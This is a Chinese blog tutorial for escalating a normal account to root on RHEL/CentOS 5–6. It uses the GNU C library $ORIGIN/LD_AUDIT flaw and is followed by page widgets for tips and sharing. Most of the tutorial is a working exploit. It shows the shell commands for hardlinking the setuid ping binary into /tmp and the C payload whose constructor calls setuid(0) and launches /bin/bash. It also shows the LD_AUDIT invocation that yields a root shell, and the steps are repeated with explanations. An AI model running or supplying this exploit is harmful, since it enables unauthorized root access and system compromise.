c语言提权,提权教程:GNU C library动态链接区$ORIGIN溢出提权

摘要

利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限

合适用 RHEL5-RHEL6 CENTOS5-CENTOS6 均可以提权

提权方法

e42373ec363fba6e7732df31cb1e75b6.png

[moonsec@localhosttmp]$ mkdir /tmp/exploit

[moonsec@localhosttmp]$ ln /bin/ping /tmp/exploit/target

[moonsec@localhosttmp]$ exec 3< /tmp/exploit/target

[moonsec@localhosttmp]$ ls -l /proc/$$/fd/3

lr-x------ 1moonsec moonsec 64 Dec 19 06:10 /proc/2799/fd/3 -> /tmp/exploit/target

[moonsec@localhosttmp]$  rm -rf /tmp/exploit/

[moonsec@localhosttmp]$  ls -l /proc/$$/fd/3

lr-x------ 1moonsec moonsec 64 Dec 19 06:10 /proc/2799/fd/3 -> /tmp/exploit/target(deleted)

[moonsec@localhosttmp]$ cat > payload.c

void__attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

[moonsec@localhosttmp]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

[moonsec@localhosttmp]$ ls -l /tmp/exploit

-rwxrwxr-x 1moonsec moonsec 4223 Dec 19 06:10 /tmp/exploit

[moonsec@localhosttmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

[root@localhosttmp]# whoami

创建目录

mkdir /tmp/exploit

创建target文件硬链接

ln /bin/ping/tmp/exploit/target

把target文件加载到内存中

exec 3< /tmp/exploit/target

查看target在内存中的情况

ls -l /proc/$$/fd/3

删除目录

rm -rf /tmp/exploit/

输入c代码

cat > payload.c

void__attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

编译文件

gcc -w -fPIC-shared -o /tmp/exploit payload.c

提升root权限

LD_AUDIT="\$ORIGIN"exec /proc/self/fd/3

05914ee36f85bd0023f082ea983ca89d.png

cetnots5.5 用户moonsec 提权到root权限

您可以选择一种方式赞助本站支付宝转账赞助

分享到各大网站

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值